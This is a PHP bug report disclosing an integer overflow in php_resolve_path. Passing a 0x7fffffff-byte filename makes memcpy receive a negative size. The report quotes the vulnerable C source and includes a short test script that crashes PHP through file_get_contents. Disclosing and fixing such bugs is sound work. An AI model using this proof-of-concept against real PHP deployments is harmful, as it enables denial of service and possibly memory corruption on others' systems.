Description:
------------
Multiple PHP functions are vulnerable to negative size parameter in memcpy call through php_resolve_path. Some of the affected functions are:
file_get_contents, file_put_contents, file, readfile, get_meta_tags, gzopen, readgzfile, gzfile, tidy_repair_file, php_strip_whitespace, parse_ini_file, highlight_file

When filename parameter size is equal to 0x7fffffff and the include_path bool is enabled, memcpy function receives a negative size value in php_resolve_path. This was tested on a 64 bits linux build.

Source code:
https://github.com/php/php-src/blob/master/main/fopen_wrappers.c#L479

PHPAPI zend_string *php_resolve_path(const char *filename, int filename_length, const char *path)
{
    char resolved_path[MAXPATHLEN];
    char trypath[MAXPATHLEN];
    const char *ptr, *end, *p;
    const char *actual_path;
    php_stream_wrapper *wrapper;
    zend_string *exec_filename;
...
            if (len + 1 + filename_length + 1 >= MAXPATHLEN) {
                break;
            }
            memcpy(trypath, ptr, len);
            trypath[len] = '/';
            memcpy(trypath+len+1, filename, filename_length+1); // 0x7fffffff + 1 = -2147483648
            ptr = NULL;
...


GDB output:

Test script:
---------------
<?php

ini_set('memory_limit', -1);
error_reporting(0);
$v1=str_repeat("A", 0x7fffffff);
file_get_contents($v1, true);


Expected result:
----------------
No crash

The include_path comment is only related to the functions that use it, for example, file_get_contents. 

However other functions are affected even if they don't add the include_path, such as highlight_file.
